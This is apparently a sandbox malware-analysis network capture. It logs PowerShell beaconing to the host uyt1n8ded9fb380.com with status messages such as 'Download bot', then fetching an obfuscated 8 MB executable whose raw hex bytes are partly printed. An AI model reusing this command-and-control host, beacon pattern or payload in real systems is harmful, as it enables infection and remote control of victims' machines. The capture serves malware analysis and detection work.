                                                                                                                                          Data Ascii: OB`GjxWVeKcDq3XkORX0TxWlqjVDqv[DirSGqYOUC`VDm4RVmCeGDxdFikL10oRVuFeVSIcEKiVDnyX{GBdVHxTkG[L0GqRTi2[0Xx`FykcWW1WEKJbWqYUkCKRIOoRjX5eWqIcIqkS2in[WT0`FKYWVeLW{WrRTOJVFGYOVuhL3S7RTWRcGquWoW`S0[4RVmBNTSSc3uiVD4U[Gb0eVGYOV4KSECoRje``FKHUlyQe{CMXWe[[1uETkOiW{WsX
                                                                                                                                          2024-11-08 10:27:28 UTC1369INData Raw: 6b 52 47 58 76 54 6c 30 72 62 30 71 56 50 6c 69 6a 53 33 65 76 53 47 47 77 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 34 50 6a 4b 6b 52 44 4b 7b 5b 57 4f 42 56 57 50 79 52 56 65 60 57 7b 57 70 58 33 34 72 65 33 53 49 63 49 5b 68 60 55 6d 73 56 6d 65 4e 64 56 57 58 50 6b 43 69 57 7b 6d 30 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 65 60 65 6c 4f 71 50 56 38 4a 53 33 75 6f 54 47 4f 43 65 31 38 34 50 56 75 69 54 31 47 31 58 6a 69 53 5b 31 71 49 56 6f 43 68 53 30 5b 45 5b 57 69 52 63 46 4f 34 4f 54 30 60 57 7b 57 74 5b 44 65 6f 4f 31 6d 45 54 6f 43 4d 64 59 4f 76 52 54 69 7b 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 30 4b 75 58 57 65 35 63 47 47 74 63 45 43 60 56 44 34 68 52 6a 65 72 5b 44 6d 44 4c 46
                                                                                                                                          Data Ascii: kRGXvTl0rb0qVPlijS3evSGGwUjOqPVeKP1GoRTOC[1m4PjKkRDK{[WOBVWPyRVe`W{WpX34re3SIcI[h`UmsVmeNdVWXPkCiW{m0SGGw[1mEPVeKP1GoRTe`elOqPV8JS3uoTGOCe184PVuiT1G1XjiS[1qIVoChS0[E[WiRcFO4OT0`W{Wt[DeoO1mEToCMdYOvRTi{UjOqPVeKP1GoRTOC[1mEPVeKP0KuXWe5cGGtcEC`VD4hRjer[DmDLF
                                                                                                                                          2024-11-08 10:27:28 UTC1369INData Raw: 5b 31 6d 45 50 56 75 60 53 7b 6a 7b 58 6c 30 35 65 6d 6d 59 54 6d 53 6a 57 31 34 70 56 6d 65 56 60 30 71 59 54 56 65 50 54 31 47 73 56 6c 30 46 62 33 4c 78 57 54 34 45 60 54 47 6f 52 54 4f 43 60 33 53 49 57 6f 53 6b 53 57 71 76 58 6a 65 57 5b 30 43 55 50 56 6d 53 64 6f 43 6b 57 6b 4b 72 65 57 71 49 4e 55 4f 6b 4c 59 69 57 56 6d 62 79 65 30 69 49 56 6f 43 68 53 30 57 71 55 32 62 76 52 31 53 53 63 33 65 4b 50 31 47 6f 5b 45 4b 6e 62 46 4b 49 57 56 65 4d 50 30 4b 34 56 6d 69 52 64 56 57 57 55 6f 5b 6a 57 7b 54 76 52 54 4c 79 62 33 53 45 50 56 75 68 57 31 58 31 57 56 30 56 4c 46 4f 75 63 46 79 6b 64 54 47 31 56 57 62 30 60 31 6d 45 4c 59 57 68 4c 30 47 6f 52 6a 65 52 65 6c 50 78 4f 59 4f 68 4c 6a 5b 73 57 55 4f 56 60 6d 6a 78 57 6c 79 60 53 30 5b 73 52 30 4f
                                                                                                                                          Data Ascii: [1mEPVu`S{j{Xl05emmYTmSjW14pVmeV`0qYTVePT1GsVl0Fb3LxWT4E`TGoRTOC`3SIWoSkSWqvXjeW[0CUPVmSdoCkWkKreWqINUOkLYiWVmbye0iIVoChS0WqU2bvR1SSc3eKP1Go[EKnbFKIWVeMP0K4VmiRdVWWUo[jW{TvRTLyb3SEPVuhW1X1WV0VLFOucFykdTG1VWb0`1mELYWhL0GoRjeRelPxOYOhLj[sWUOV`mjxWly`S0[sR0O
                                                                                                                                          2024-11-08 10:27:28 UTC516INData Raw: 55 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 33 47 59 56 56 65 4d 53 6d 4b 72 58 7b 4f 53 65 47 57 49 53 6b 43 69 50 31 47 31 57 54 65 46 4c 46 47 45 50 56 75 6a 53 30 5b 31 58 31 57 60 62 46 4b 49 57 56 65 4c 57 6a 4b 6e 5b 44 65 6e 57 56 57 58 50 6c 79 4b 53 59 69 72 56 57 65 5b 62 44 6d 48 62 31 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 6d 4f 52 60 31 71 55 57 57 5b 6e 54 57 4b 57 57 6d 43 4b 50 31 71 47 58 6b 4f 6a 65 56 4b 49 4e 56 69 60 50 31 4b 70 58 6b 48 79 65 33 4b 49 57 6b 43 60 57 30 44 33 52 54 4f 52 4c 47 71 59 4c 59 65 52 63 56 79 7b 56 6d 4f 4b 4f 31 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 71 49 54 6f 5b 6a
                                                                                                                                          Data Ascii: UCMRTOC[1mEPVeKP1GoRTOC[3GYVVeMSmKrX{OSeGWISkCiP1G1WTeFLFGEPVujS0[1X1W`bFKIWVeLWjKn[DenWVWXPlyKSYirVWe[bDmHb14E`TGoRTOC[1mEPVeKP1GoRTOC[1mEPmOR`1qUWW[nTWKWWmCKP1qGXkOjeVKINVi`P1KpXkHye3KIWkC`W0D3RTORLGqYLYeRcVy{VmOKO1SSc3eKP1GoRTOC[1mEPVeKP1GoRTOC[1qITo[j
                                                                                                                                          2024-11-08 10:27:28 UTC1369INData Raw: 6d 69 42 53 33 47 59 64 46 79 4b 60 6f 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 4b 55 56 6d 62 79 65 6c 53 75 57 59 53 55 56 47 4b 72 58 6d 4f 43 65 47 57 49 53 6b 43 69 50 31 47 73 5b 44 65 56 65 46 4f 47 56 6f 43 68 53 30 57 6f 55 47 57 60 65 6c 4f 75 55 6c 79 44 54 56 38 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 42 4e 54 6d 49 57 6f 4f 6b 4c 6d 57 6f 5b 59 62 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 5b 4a 53 30 47 72 52 6d 4b 59 53 6a 4b 46 54 6d 54 35 5b 31 6d 73 54 6f 5b 6a 4c 6b 57 7b 58 6b 4b 46 60 31 6d 49 56 6c 69 69 57 32 69 72 56 6a 53 77 5b 31 71 48 57 6f 6d 68 50 31 6d 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f
                                                                                                                                          Data Ascii: miBS3GYdFyK`oONP3mC[1mEPVeKP1GoRTOC[1mEPVeKP1KUVmbyelSuWYSUVGKrXmOCeGWISkCiP1Gs[DeVeFOGVoChS0WoUGW`elOuUlyDTV8oRTOC[1mEPVeKP1GoRTOBNTmIWoOkLmWo[YbvR1mEPVeKP1GoRTOC[1mEPVeKP1GoRT[JS0GrRmKYSjKFTmT5[1msTo[jLkW{XkKF`1mIVliiW2irVjSw[1qHWomhP1mNP3mC[1mEPVeKP1Go
                                                                                                                                          2024-11-08 10:27:28 UTC1369INData Raw: 79 68 53 31 58 30 54 30 62 30 57 47 71 59 55 6f 5b 68 63 57 4b 37 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 6b 6d 44 54 56 38 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 52 45 43 4e 50 33 6d 43 5b 31 6d 45 50 6b 6d 44 54 56 38 4e 50 33 6d 43 5b 31 6d 45 50 6f 43 60 60 54 47 77 55 47 62 30 65 6c 53 45 50 56 75 60 53 7b 6a 7b 58 6c 30 35 65 6d 6d 59 54 6d 53 6a 57 31 34 70 56 6d 65 56 60 30 71 59 54 59 43 4b 52 49 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 57 56 75 60 50 30 57 72 53 6d 6d 57 53 57 5b 46 57 49 6d 43 60 57 4b 49 4e 55 4f 68 63 59 69 33 56 57 65 53 5b 30 71 75 53 6f 43 68 53 30 5b 73 52 54 65 46 63 56 53 49 57 6f 6d 4b 50 30 4b 31 56 57 69 6e 54 30 71 58 54 6f 6d 69 57 30 5b 37 52 54 69 4a 63 46 53 48 52
                                                                                                                                          Data Ascii: yhS1X0T0b0WGqYUo[hcWK7SGGw[1mEPVeKP1GoRTOC[1mEPkmDTV8oRTOC[1mEPVeKRECNP3mC[1mEPkmDTV8NP3mC[1mEPoC``TGwUGb0elSEPVu`S{j{Xl05emmYTmSjW14pVmeV`0qYTYCKRIONP3mC[1mEPVeKP1GoWVu`P0WrSmmWSW[FWImC`WKINUOhcYi3VWeS[0quSoChS0[sRTeFcVSIWomKP0K1VWinT0qXTomiW0[7RTiJcFSHR
                                                                                                                                          2024-11-08 10:27:28 UTC1369INData Raw: 42 55 30 71 58 58 32 53 57 4c 6a 34 77 56 6d 65 52 4c 56 4b 49 57 6c 75 56 53 31 5b 37 58 55 47 52 64 56 47 59 5b 46 34 60 56 44 6d 6f 55 47 57 46 4c 47 53 49 4e 56 34 54 4c 6b 50 32 53 47 47 77 60 33 4c 78 57 6b 43 6a 53 33 79 30 56 6b 4f 4f 5b 30 43 55 50 6a 38 60 56 46 4f 31 57 55 4b 4e 63 30 71 59 54 6b 47 68 53 30 5b 73 57 6a 65 46 64 6c 44 79 55 6c 79 6a 52 47 4b 76 58 6c 30 6a 64 6d 54 78 57 6b 43 4b 50 7b 47 42 58 6a 65 35 65 6c 50 79 55 6b 43 5b 56 44 6e 76 54 30 65 60 54 46 4b 73 52 6c 69 6a 52 47 4b 72 58 33 30 72 63 46 4f 34 50 59 53 52 53 7b 6d 30 5b 44 5b 4e 4c 46 48 7b 50 6a 71 60 60 33 53 33 58 57 62 30 63 6d 50 78 4f 54 4f 5b 56 47 48 76 56 6d 69 4a 62 47 71 58 55 55 65 44 54 59 43 56 58 6c 34 4a 63 47 6e 78 63 49 71 6a 53 30 5b 34 55 47
                                                                                                                                          Data Ascii: BU0qXX2SWLj4wVmeRLVKIWluVS1[7XUGRdVGY[F4`VDmoUGWFLGSINV4TLkP2SGGw`3LxWkCjS3y0VkOO[0CUPj8`VFO1WUKNc0qYTkGhS0[sWjeFdlDyUlyjRGKvXl0jdmTxWkCKP{GBXje5elPyUkC[VDnvT0e`TFKsRlijRGKrX30rcFO4PYSRS{m0[D[NLFH{Pjq``3S3XWb0cmPxOTO[VGHvVmiJbGqXUUeDTYCVXl4JcGnxcIqjS0[4UG
                                                                                                                                          2024-11-08 10:27:28 UTC1369INData Raw: 69 4e 57 47 6a 76 55 54 65 57 64 57 71 44 55 6c 30 4e 63 57 54 30 56 6d 53 4b 4f 47 6d 54 60 46 6d 4f 53 47 5b 73 56 6d 53 57 64 6a 34 70 53 55 43 4e 57 30 5b 70 55 59 71 57 4f 54 38 54 5b 46 6d 51 53 47 54 78 55 56 71 53 4c 6a 34 37 50 6c 71 4f 64 6a 6d 35 55 57 53 6f 64 54 34 44 50 59 71 4e 60 6a 31 7b 56 57 65 5b 64 6a 30 54 57 6c 69 4e 4c 6a 5b 6e 55 6a 53 72 60 54 34 75 55 55 57 60 53 44 54 78 56 56 71 5b 64 54 30 49 54 6c 6d 4f 64 54 6a 32 53 47 47 77 5b 31 6d 45 50 56 65 69 57 30 6d 77 52 6a 65 6a 62 33 48 78 52 6c 69 68 53 49 43 48 54 31 5b 76 52 30 5b 46 56 6a 4b 53 4c 59 43 44 55 46 30 35 63 46 4b 75 5b 45 43 69 50 31 47 31 56 6b 4f 53 5b 31 30 45 60 31 34 45 60 54 47 6f 52 54 4f 42 4f 31 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 54
                                                                                                                                          Data Ascii: iNWGjvUTeWdWqDUl0NcWT0VmSKOGmT`FmOSG[sVmSWdj4pSUCNW0[pUYqWOT8T[FmQSGTxUVqSLj47PlqOdjm5UWSodT4DPYqN`j1{VWe[dj0TWliNLj[nUjSr`T4uUUW`SDTxVVq[dT0ITlmOdTj2SGGw[1mEPVeiW0mwRjejb3HxRlihSICHT1[vR0[FVjKSLYCDUF05cFKu[ECiP1G1VkOS[10E`14E`TGoRTOBO1SSc3eKP1GoRTOC[1mET
                                                                                                                                          2024-11-08 10:27:28 UTC1369INData Raw: 43 5b 31 6d 45 50 56 65 6a 4c 31 71 76 5b 44 65 57 65 46 47 49 4e 59 71 6a 50 31 47 71 56 55 4b 35 63 47 6d 58 52 56 65 68 53 7b 6d 74 52 56 71 7b 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 60 30 6e 78 64 49 5b 5b 63 54 5b 7b 55 33 75 6a 52 57 65 73 62 47 57 56 60 31 5b 44 57 33 75 4f 5b 30 43 55 50 6a 47 4d 50 33 72 32 53 47 47 77 5b 31 6d 45 50 56 65 6c 54 55 43 4d 53 47 47 77 55 6a 4f 71 50 56 65 4b 50 31 47 4e 50 33 35 76 55 6a 4f 75 56 6b 47 68 63 54 35 76 58 57 62 34 65 54 6d 47 55 6f 6d 60 57 31 58 76 56 6d 4c 79 53 6c 4b 58 50 6b 43 6d 57 6d 4b 72 58 6d 69 42 57 57 71 58 60 45 43 52 63 56 79 7b 56 6d 4f 42 4f 31 53 53 63 33 65 4b 50 31 47 6f 58 31 65 46 64 57 6d 59 4c 46 65 4d 50 55 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 4b 68 58 7b
                                                                                                                                          Data Ascii: C[1mEPVejL1qv[DeWeFGINYqjP1GqVUK5cGmXRVehS{mtRVq{UjOqPVeKP1GoRTOC`0nxdI[[cT[{U3ujRWesbGWV`1[DW3uO[0CUPjGMP3r2SGGw[1mEPVelTUCMSGGwUjOqPVeKP1GNP35vUjOuVkGhcT5vXWb4eTmGUom`W1XvVmLySlKXPkCmWmKrXmiBWWqX`ECRcVy{VmOBO1SSc3eKP1GoX1eFdWmYLFeMPUCMRTOC[1mEPVeKP1KhX{


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          11192.168.11.2049719104.21.86.2194437900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:27:29 UTC290OUTPOST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c321182403637af315a7aa49b6c9d16b620db3 HTTP/1.1
                                                                                                                                          Content-Type: application/json
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          Content-Length: 140
                                                                                                                                          2024-11-08 10:27:29 UTC140OUTData Raw: 5b 0d 0a 20 20 20 20 22 5c 22 72 75 6e 6e 69 6e 67 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 45 6d 70 74 79 20 66 69 6c 65 20 63 72 65 61 74 65 64 20 61 74 3a 20 43 3a 5c 5c 5c 5c 55 73 65 72 73 5c 5c 5c 5c 41 72 74 68 75 72 5c 5c 5c 5c 41 70 70 44 61 74 61 5c 5c 5c 5c 4c 6f 63 61 6c 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 65 6d 70 74 79 2e 74 78 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d
                                                                                                                                          Data Ascii: [ "\"running\"", "\"Empty file created at: C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Temp\\\\empty.txt\"", "----------"]
                                                                                                                                          2024-11-08 10:27:30 UTC932INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:27:30 GMT
                                                                                                                                          Content-Length: 0
                                                                                                                                          Connection: close
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=28xoGHXegTg4aCHDKaNeYcraYghh7MqcQeZXCpUxSZXUb1o%2FY9jiNf9e9suMJ2SmGatxLby4QovO0EHc8AYPqJyjagrsYeSQsFLqqNLd30%2FRCuibqLPljzag5nljTiqKeRLRdgpC57kk"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=50471&sent=50&recv=45&lost=0&retrans=0&sent_bytes=19981&recv_bytes=14588&delivery_rate=268382&cwnd=255&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4deed2def7d16-EWR
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=105701&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2848&recv_bytes=1090&delivery_rate=37262&cwnd=252&unsent_bytes=0&cid=30c922632d293f22&ts=841&x=0"


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          12192.168.11.2049728104.21.86.2194437900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:27:41 UTC289OUTPOST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c321182403637af315a7aa49b6c9d16b620db3 HTTP/1.1
                                                                                                                                          Content-Type: application/json
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          Content-Length: 69
                                                                                                                                          2024-11-08 10:27:41 UTC69OUTData Raw: 5b 0d 0a 20 20 20 20 22 5c 22 53 6c 65 65 70 20 31 30 73 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 44 6f 77 6e 6c 6f 61 64 20 62 6f 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d
                                                                                                                                          Data Ascii: [ "\"Sleep 10s\"", "\"Download bot\"", "----------"]
                                                                                                                                          2024-11-08 10:27:42 UTC929INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:27:41 GMT
                                                                                                                                          Content-Length: 0
                                                                                                                                          Connection: close
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=36eFZ16ty9m46OW0n7Mh4IWZALdlTTD2c2lnJGdUioQsnW65jd04Eudyu84Fub11tTZZXHkVgskNOYAOiUu3yqhNYSw7u5CWz6MHH92Gh2eVeR6HnNkD3jqdUkV1jzTRTJWEmxVDuOWc"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=33924&sent=60&recv=55&lost=0&retrans=0&sent_bytes=25310&recv_bytes=23138&delivery_rate=3953068&cwnd=254&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4df379cdd42fc-EWR
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=102325&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2849&recv_bytes=1018&delivery_rate=37404&cwnd=252&unsent_bytes=0&cid=7b289c5a320e81e8&ts=849&x=0"


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          13192.168.11.2049729104.21.86.2194437900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:27:42 UTC338OUTGET /file2/30bb492ec87899a2b4a8fa5c9eeec469d06c3bafc30e181eba243fc24b84241f385aec2e85572485a859fdb0add8f2a973ec65b476e5b0902159ffd06c8a39b82c15688f51d937ccc3716ff2ce0f23195a045a51caa261a117a1c0bf38c036fb HTTP/1.1
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          2024-11-08 10:27:43 UTC1057INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:27:43 GMT
                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                          Content-Length: 8351232
                                                                                                                                          Connection: close
                                                                                                                                          content-disposition: attachment; filename=image; filename*=UTF-8''image
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tpL1rx3io7zK8c8SMnTXNHSc6yc%2B9PlUSEed08nIuPi3MuoLr6DPNSp4Isxg%2FfwDHopVo0ypIGjEWtCTDvXxpyQd0Yat%2FqQFTJKuPeQmuYH622rQiuB%2FUNZAab7oUf7Hw6yt%2BTnKp0ga"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=44258&sent=66&recv=55&lost=0&retrans=0&sent_bytes=25471&recv_bytes=21849&delivery_rate=1567364&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4df3e7a1341c1-EWR
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=103006&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2848&recv_bytes=976&delivery_rate=37089&cwnd=252&unsent_bytes=0&cid=ee5e4d29f1282483&ts=850&x=0"
                                                                                                                                          2024-11-08 10:27:43 UTC312INData Raw: 4c 5b 91 01 02 01 01 01 05 01 01 01 fe fe 01 01 b9 01 01 01 01 01 01 01 41 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 e9 01 01 01 0f 1e bb 0f 01 b5 08 cc 20 b9 00 4d cc 20 55 69 68 72 21 71 73 6e 66 73 60 6c 21 62 60 6f 6f 6e 75 21 63 64 21 73 74 6f 21 68 6f 21 45 4e 52 21 6c 6e 65 64 2f 0c 0c 0b 25 01 01 01 01 01 01 01 ac bf 76 f8 e8 de 18 ab e8 de 18 ab e8 de 18 ab e1 a6 8b ab e6 de 18 ab 98 5f 19 aa fb de 18 ab e8 de 19 ab 98 df 18 ab f8 5a 1b aa fa de 18 ab f8 5a 1c aa d1 de 18 ab e8 de 18 ab e9 de 18 ab f8 5a 1d aa 9e de 18 ab a0 5b 18 aa e9 de 18 ab a0 5b 1a aa e9 de 18 ab 53 68 62 69 e8 de 18 ab 01 01 01 01 01 01 01 01 51 44 01 01 65 87 09 01 02 d3 0c 66 01 01 01 01 01 01 01 01 f1 01 23
                                                                                                                                          Data Ascii: L[A M Uihr!qsnfs`l!b`oonu!cd!sto!ho!ENR!lned/%v_ZZZ[[ShbiQDef#
                                                                                                                                          2024-11-08 10:27:43 UTC1369INData Raw: 01 71 99 01 01 05 01 01 01 01 01 01 02 01 61 80 01 01 11 01 01 01 01 01 01 11 01 01 01 01 01 01 01 01 11 01 01 01 01 01 01 11 01 01 01 01 01 01 01 01 01 01 11 01 01 01 11 29 90 01 59 01 01 01 69 29 90 01 55 00 01 01 01 41 99 01 8b 04 01 01 01 71 92 01 45 ce 05 01 01 01 01 01 01 01 01 01 01 51 99 01 cd 11 01 01 31 8f 87 01 1d 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 91 87 01 29 01 01 01 f1 8d 87 01 41 00 01 01 01 01 01 01 01 01 01 01 01 11 5e 01 01 0a 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 2f 75 64 79 75 01 01 01 79 26 0d 01 01 11 01 01 01 29 0d 01 01 05 01 01 01 01 01 01 01 01 01 01 01 01 01 01 21 01 01 61 2f 6c 60 6f 60 66 64 65 09 ab 3a 01 01 41 0d 01 01 ad 3a 01 01 2d 0d 01 01 01 01 01 01 01 01
                                                                                                                                          Data Ascii: qa)Yi)UAqEQ1)A^/udyuy&)!a/l`o`fde:A:-
                                                                                                                                          2024-11-08 10:27:43 UTC1369INData Raw: 00 c2 49 8a d1 e8 84 d5 25 01 49 8c 04 07 d6 4f 01 49 8c 0c f6 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 69 d5 25 01 49 8c 04 20 d6 4f 01 49 8c 0c 13 d6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 4a d5 25 01 49 8c 04 1d d6 4f 01 49 8c 0c 0c d6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 2f d5 25 01 49 8c 04 26 d6 4f 01 49 8c 0c 19 d6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 10 d5 25 01 49 8c 04 8b d6 4f 01 49 8c 0c 7a d6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 f5 d2 25 01 49 8c 04 9c d6 4f 01 49 8c 0c 8f d6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 d6 d2 25 01 49 8c 04 a9 d6 4f 01 49 8c 0c 98 d6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 bb d2 25 01 49 8c 04 da d6 4f 01 49 8c 0c cd d6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 9c d2 25 01 49 8c 04 df d6 4f 01 49 8c 0c ce d6 4f
                                                                                                                                          Data Ascii: I%IOIOI8tIi%I OIOI8tIJ%IOIOI8tI/%I&OIOI8tI%IOIzOI8tI%IOIOI8tI%IOIOI8tI%IOIOI8tI%IOIO
                                                                                                                                          2024-11-08 10:27:43 UTC1369INData Raw: 33 ce 25 01 49 8c 04 3a db 4f 01 49 8c 0c 2d db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 14 ce 25 01 49 8c 04 2f db 4f 01 49 8c 0c 1e db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 f9 cf 25 01 49 8c 04 20 db 4f 01 49 8c 0c 13 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 da cf 25 01 49 8c 04 15 db 4f 01 49 8c 0c 04 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 bf cf 25 01 49 8c 04 16 db 4f 01 49 8c 0c 09 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a0 cf 25 01 49 8c 04 5b db 4f 01 49 8c 0c 4a db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 85 cf 25 01 49 8c 04 4c db 4f 01 49 8c 0c 3f db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 66 cf 25 01 49 8c 04 71 db 4f 01 49 8c 0c 60 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 4b cf 25 01 49 8c 04 92 db 4f 01 49 8c 0c 85 db 4f 01 49 82 38 01 74
                                                                                                                                          Data Ascii: 3%I:OI-OI8tI%I/OIOI8tI%I OIOI8tI%IOIOI8tI%IOIOI8tI%I[OIJOI8tI%ILOI?OI8tIf%IqOI`OI8tIK%IOIOI8t
                                                                                                                                          2024-11-08 10:27:43 UTC516INData Raw: 01 49 8c 0c 74 ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c8 25 01 49 8c 04 76 57 90 01 49 8a 01 49 8c 0c 5c ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c8 25 01 49 8c 04 5e 57 90 01 49 8a 01 49 8c 0c 44 ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c8 25 01 49 8c 04 46 57 90 01 49 8a 01 49 8c 0c 2c ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c8 25 01 49 8c 04 36 57 90 01 49 8a 01 49 8c 0c 14 ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c8 25 01 49 8c 04 36 57 90 01 49 8a 01 49 8c 0c 44 ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c8 25 01 49 8c 04 26 57 90 01 49 8a 01 49 8c 0c 2c ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 c9 25 01 49 8c 04 0e 57 90 01 49 8a 01 49 8c 0c 14 ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c9 25 01 49 8c 04 f6 54 90 01 49
                                                                                                                                          Data Ascii: ItOI8tI%IvWII\OI8tI%I^WIIDOI8tIg%IFWII,OI8tIG%I6WIIOI8tI'%I6WIIDOI8tI%I&WII,OI8tI%IWIIOI8tI%ITI
